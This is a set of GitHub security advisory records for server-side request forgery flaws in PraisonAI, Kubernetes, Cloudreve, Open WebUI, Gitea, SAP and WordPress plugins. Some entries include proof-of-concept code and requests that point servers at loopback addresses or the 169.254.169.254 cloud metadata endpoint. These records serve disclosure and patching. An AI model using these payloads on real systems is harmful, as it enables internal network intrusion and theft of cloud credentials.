CWE-918

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.89"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:21:45Z",
    "nvd_published_at": "2026-04-03T23:17:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.\n\n### Details\n\n`passthrough.py:92` (source) -\u003e `passthrough.py:109` (fallback trigger) -\u003e `passthrough.py:110` (sink)\n```python\n# source -- api_base taken directly from caller\ndef passthrough(endpoint, api_base=None, method=\"GET\", ...):\n\n# fallback trigger -- AttributeError from unrecognised provider enters fallback\nexcept AttributeError:\n    url = f\"{api_base or \u0027https://api.openai.com\u0027}{endpoint}\"\n\n# sink -- no validation before request\n    response = client.request(method, url=url, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai 1.5.87 (source install)\n# install: pip install -e src/praisonai\n# start listener: python3 -m http.server 8888\nimport sys, litellm\nsys.path.insert(0, \u0027src/praisonai\u0027)\ndel litellm.llm_passthrough_route\n\nfrom praisonai.capabilities.passthrough import passthrough\n\nresult = passthrough(\n    endpoint=\"/ssrf-test\",\n    api_base=\"http://127.0.0.1:8888\",\n    method=\"GET\",\n    custom_llm_provider=\"__nonexistent__\",\n)\nprint(result)\n# expected output: PassthroughResult(data=\u0027...\u0027, status_code=404, headers={\u0027server\u0027: \u0027SimpleHTTP/0.6 Python/3.12.3\u0027, ...})\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: api_base=\"http://169.254.169.254\" returns IAM credentials\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.",
  "id": "GHSA-x6m9-gxvr-7jpv",
  "modified": "2026-04-06T22:54:03Z",
  "published": "2026-04-01T23:21:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.18.0"
            },
            {
              "fixed": "1.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.17.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-13T20:13:43Z",
    "nvd_published_at": "2020-06-05T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Kubernetes kube-controller-manager in versions v1.0-1.14, versions prior to v1.15.12, v1.16.9, v1.17.5, and version v1.18.0 are vulnerable to a Server Side Request Forgery (SSRF) that allows certain authorized users to leak up to 500 bytes of arbitrary information from unprotected endpoints within the master\u0027s host network (such as link-local or loopback services).",
  "id": "GHSA-x6mj-w4jf-jmgw",
  "modified": "2023-09-18T22:44:56Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/91542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/89794"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/d/topic/kubernetes-security-announce/kEK27tqqs30/discussion"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200724-0005"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/06/01/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/05/04/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server Side Request Forgery (SSRF) in Kubernetes"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-3025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-16T09:15:07Z",
    "severity": "HIGH"
  },
  "details": "The Dropbox Folder Share plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.9.7 via the \u0027link\u0027 parameter. This can allow unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-x6v9-4fg2-25cw",
  "modified": "2024-04-04T07:42:49Z",
  "published": "2023-09-16T09:30:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3025"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dropbox-folder-share/trunk/HynoTech/DropboxFolderShare/Principal.php#L118"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d62bd2bd-db01-479f-89e4-8031d69a912f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260606025411-aaebf317a78f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.0-20250225100611-da4e44b77af4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54562"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:16:51Z",
    "nvd_published_at": "2026-07-15T15:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCloudreve\u0027s remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.\n\nWhen the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user\u0027s own Cloudreve files.\n\nThis does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.\n\n## Attacker requirements\n\nThe attacker must be:\n\n- authenticated\n- non-admin\n- in a user group where `GroupPermissionRemoteDownload` is enabled\n\nDefault normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not.\n\n## Affected endpoint\n\n```http\nPOST /api/v4/workflow/download\n```\n\nFollow-up attacker readback was performed through normal workflow and file APIs:\n\n```http\nGET /api/v4/workflow?category=downloaded...\nGET /api/v4/file?uri=cloudreve://my...\nPOST /api/v4/file/url\n```\n\n## Root cause\n\nThe remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.\n\nRelevant code paths:\n\n- `service/explorer/workflows.go:81`\n- `pkg/filemanager/workflows/remote_download.go:202`\n- `pkg/downloader/aria2/aria2.go:56`\n\nThe application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.\n\n## Impact\n\nA non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.\n\nIn my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker\u0027s own files.\n\nConfirmed targets:\n\n- `http://127.0.0.1:7777/secret2`\n- `http://localhost:7777/localsecret`\n- `http://[::1]:7780/v6secret`\n- redirect to `http://127.0.0.1:7777/redirsecret`\n\nThis can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.\n\n## Reproduction\n\n### 1. Permission negative control\n\nThe attacker is a normal non-admin user in the default `User` group.\n\nBefore enabling remote download for the group:\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":40007,\"msg\":\"Group not allowed to download files\"}\n```\n\n### 2. Enable only remote download permission for the non-admin group\n\nThe default install grants remote download to the admin group only. The default `User` group does not have it.\n\nConfirmed in:\n\n- `inventory/migration.go:154`\n- `inventory/migration.go:179`\n\nFor this test, I only changed group 2 permissions from:\n\n```text\nhAg=\n```\n\nto:\n\n```text\nhAo=\n```\n\nThe attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`.\n\n### 3. Start an internal listener\n\nExample listener on the Cloudreve host:\n\n```text\n127.0.0.1:7777\n```\n\nThe listener returned a marker response:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n### 4. Queue a remote download to loopback\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret2\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":0,\"data\":[{\"id\":\"OzH4\",\"status\":\"queued\",\"type\":\"remote_download\"}]}\n```\n\nThe internal listener received the request:\n\n```text\n127.0.0.1 - - [27/May/2026 13:00:46] \"GET /secret2 HTTP/1.1\" 200 -\n```\n\nAria2 completed the download:\n\n```text\nDownload complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2\n```\n\n### 5. Read the imported internal response as the attacker\n\nThe task completed successfully:\n\n```json\n{\"id\":\"OzH4\",\"status\":\"completed\",\"summary\":{\"props\":{\"src_str\":\"http://127.0.0.1:7777/secret2\",\"failed\":0}}}\n```\n\nThe attacker could list the imported file:\n\n```json\n{\"name\":\"secret2\",\"path\":\"cloudreve://my/secret2\"}\n```\n\nThe attacker could then download and read the response body:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n## Additional validated variants\n\n### localhost\n\nInput:\n\n```text\nhttp://localhost:7777/localsecret\n```\n\nAttacker readback:\n\n```text\nLOCALHOST_SECRET_20260527\n```\n\n### Redirect to loopback\n\nInput:\n\n```text\nhttp://127.0.0.1:7779/anything\n```\n\nRedirect:\n\n```text\n302 Location: http://127.0.0.1:7777/redirsecret\n```\n\nAttacker readback:\n\n```text\nREDIR_SECRET_20260527\n```\n\n### IPv6 localhost\n\nInput:\n\n```text\nhttp://[::1]:7780/v6secret\n```\n\nAttacker readback:\n\n```text\nIPV6_SECRET_20260527\n```\n\n## Expected behavior\n\nCloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.\n\nRedirect targets should be checked with the same policy.\n\n## Actual behavior\n\nCloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker\u0027s files, and allows the attacker to read it.",
  "id": "GHSA-x756-g4x3-c64m",
  "modified": "2026-07-20T21:16:51Z",
  "published": "2026-07-20T21:16:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54562"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/aaebf317a78f2413d74afd66c21a1f3143711312"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T21:16:29Z",
    "nvd_published_at": "2025-03-20T10:15:38Z",
    "severity": "HIGH"
  },
  "details": "The `/openai/models` endpoint in open-webui/open-webui version 0.3.8 is vulnerable to Server-Side Request Forgery (SSRF). An attacker can change the OpenAI URL to any URL without checks, causing the endpoint to send a request to the specified URL and return the output. This vulnerability allows the attacker to access internal services and potentially gain command execution by accessing instance secrets.",
  "id": "GHSA-x757-hv69-jr45",
  "modified": "2025-03-21T21:16:29Z",
  "published": "2025-03-20T12:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7959"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/3c8bea0a-d678-4d67-bb9c-2b5b610a2193"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has SSRF in /openai/models"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:22:23Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\nWhen `[oauth2_client] UPDATE_AVATAR = true` is enabled, Gitea fetches the avatar URL received from an OAuth2/OIDC provider using Go\u0027s default HTTP client. The URL comes from the user\u0027s OAuth/OIDC avatar value, commonly the OIDC `picture` claim.\n\nThe affected code path calls `http.Get(url)` without applying outbound host or IP restrictions. A low-privileged user who can influence their own `picture` claim under an already-configured OAuth2/OIDC source can cause the Gitea server to make arbitrary outbound HTTP GET requests. This includes requests to loopback addresses, RFC 1918 private network addresses, and IPv4 link-local addresses such as `169.254.169.254`.\n\nThis is a blind SSRF by default. Impact can increase in deployments where the Gitea host can reach cloud metadata services, localhost-only services, or internal services that return valid image data.\n\n### Details\nThe vulnerable sink is in `routers/web/auth/oauth.go`:\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n    if setting.OAuth2Client.UpdateAvatar \u0026\u0026 len(url) \u003e 0 {\n        resp, err := http.Get(url)\n        if err == nil {\n            defer func() { _ = resp.Body.Close() }()\n        }\n        if err == nil \u0026\u0026 resp.StatusCode == http.StatusOK {\n            data, err := io.ReadAll(io.LimitReader(resp.Body, setting.Avatar.MaxFileSize+1))\n            if err == nil \u0026\u0026 int64(len(data)) \u003c= setting.Avatar.MaxFileSize {\n                _ = user_service.UploadAvatar(ctx, u, data)\n            }\n        }\n    }\n}\n```\n\nThe caller is in `routers/web/auth/oauth_signin_sync.go`:\n\n```go\nfunc oauth2SignInSync(ctx *context.Context, authSourceID int64, u *user_model.User, gothUser goth.User) {\n    oauth2UpdateAvatarIfNeed(ctx, gothUser.AvatarURL, u)\n    ...\n}\n```\n\n`gothUser.AvatarURL` is derived from the OAuth2/OIDC provider\u0027s avatar value. For OIDC providers, this is commonly populated from the `picture` claim returned by the provider\u0027s userinfo endpoint or ID token.\n\nThe issue is that this value can be attacker-influenced in some common IdP configurations, while Gitea fetches it server-side using `http.Get` with no host/IP validation and no restricted transport.\n\nComparable outbound fetch paths in Gitea use `hostmatcher.NewDialContext` to enforce restrictions at TCP dial time. For example, repository migration uses an HTTP transport with host matching. The OAuth2 avatar synchronization path does not apply those restrictions.\n\n### PoC\n\n#### Requirements\n\n- Local Gitea build or binary\n- Python 3\n- Python packages: `requests`, `pyjwt`, `cryptography`\n- Gitea configured with OAuth2 avatar synchronization enabled\n\nInstall Python dependencies:\n\n```bash\npython3 -m pip install requests pyjwt cryptography\n```\n\nConfigure `app.ini`:\n\n```ini\n[oauth2_client]\nUPDATE_AVATAR = true\nENABLE_AUTO_REGISTRATION = true\nUSERNAME = userid\n```\n\nRun the fake OIDC provider:\n\n```bash\npython3 fake_oidc.py http://127.0.0.1:8888/ 9999\n```\n\nRun a listener for the SSRF target:\n\n```bash\nnc -lvnp 8888\n```\n\nRegister an OAuth2 authentication source in Gitea:\n\n- Provider: `OpenID Connect`\n- Client ID: `gitea-client`\n- Client Secret: `gitea-secret`\n- OpenID Connect Auto Discovery URL: `http://127.0.0.1:9999/.well-known/openid-configuration`\n\nThen initiate login through the configured OAuth2 source.\n\nObserved request to the SSRF listener:\n\n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:8888\nUser-Agent: Go-http-client/1.1\nAccept-Encoding: gzip\n```\n\nObserve that Gitea fetched the OIDC `picture` claim URL from the server side using the default Go HTTP client.\n\n### Impact\nWhen [oauth2_client] UPDATE_AVATAR = true is enabled, a low-privileged OAuth2/OIDC user who can influence their own picture claim can force the Gitea server to make outbound HTTP GET requests to attacker-selected URLs. This allows blind SSRF from the Gitea server\u2019s network position, including requests to loopback addresses, RFC1918 private addresses, link-local addresses such as 169.254.169.254, and other internal services that may not be reachable from the public internet. In practical terms, this can enable internal service probing and interaction with localhost-only or private-network services depending on the deployment\u2019s network access controls.\n\nThe vulnerability is blind in the common case because non-image responses such as HTML, JSON, or plaintext are rejected during avatar processing and are not directly returned to the attacker. However, impact can increase in cloud or internal-network deployments where metadata services, internal admin panels, monitoring endpoints, or image-generating internal services are reachable from the Gitea host. If an internal endpoint returns a valid supported image format within the configured avatar size limit, the response may be stored as the attacker\u2019s avatar, creating a limited response retrieval primitive.",
  "id": "GHSA-x77v-q46j-393g",
  "modified": "2026-07-21T20:22:23Z",
  "published": "2026-07-21T20:22:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-x77v-q46j-393g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Blind SSRF in OAuth2 avatar synchronization via unvalidated OIDC picture claim"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T17:35:55Z",
    "severity": "MODERATE"
  },
  "details": "SAP NetWeaver Application Server for ABAP provides an ABAP Report for testing purposes, which allows to send HTTP requests to arbitrary internal or external endpoints. The report is therefore vulnerable to Server-Side Request Forgery (SSRF). Successful exploitation could lead to interaction with potentially sensitive internal endpoints, resulting in a low impact on data confidentiality and integrity. There is no impact on availability of the application.",
  "id": "GHSA-x77x-2wjm-8x4r",
  "modified": "2026-03-10T18:31:16Z",
  "published": "2026-03-10T18:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24316"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3689080"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-7729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-04T05:16:01Z",
    "severity": "LOW"
  },
  "details": "A security flaw has been discovered in pixelsock directus-mcp 1.0.0. This issue affects the function validateUrl of the file index.ts of the component MCP Interface. Performing a manipulation of the argument fileUrl results in server-side request forgery. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The pull request to fix this issue awaits acceptance.",
  "id": "GHSA-x78j-x58j-m4h8",
  "modified": "2026-05-04T06:32:02Z",
  "published": "2026-05-04T06:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7729"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BruceJqs/public_exp/issues/36"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pixelsock/directus-mcp/issues/13"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pixelsock/directus-mcp/pull/14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pixelsock/directus-mcp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/807539"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360904"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360904/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-12886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-28T04:16:49Z",
    "severity": "HIGH"
  },
  "details": "The Oxygen Theme theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.0.8 via the laborator_calc_route AJAX action. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-x7f7-7836-w8h5",
  "modified": "2026-03-28T06:30:24Z",
  "published": "2026-03-28T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12886"
    },
    {
      "type": "WEB",
      "url": "https://documentation.laborator.co/kb/oxygen/oxygen-release-notes"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8c83f430-8a4d-40fa-890c-387c787a3b55?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-49985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-20T15:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Ali Irani Auto Upload Images allows Server Side Request Forgery. This issue affects Auto Upload Images: from n/a through 3.3.2.",
  "id": "GHSA-x7hv-cmr9-4hmv",
  "modified": "2026-04-01T18:35:31Z",
  "published": "2025-06-20T15:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49985"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/auto-upload-images/vulnerability/wordpress-auto-upload-images-plugin-3-3-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}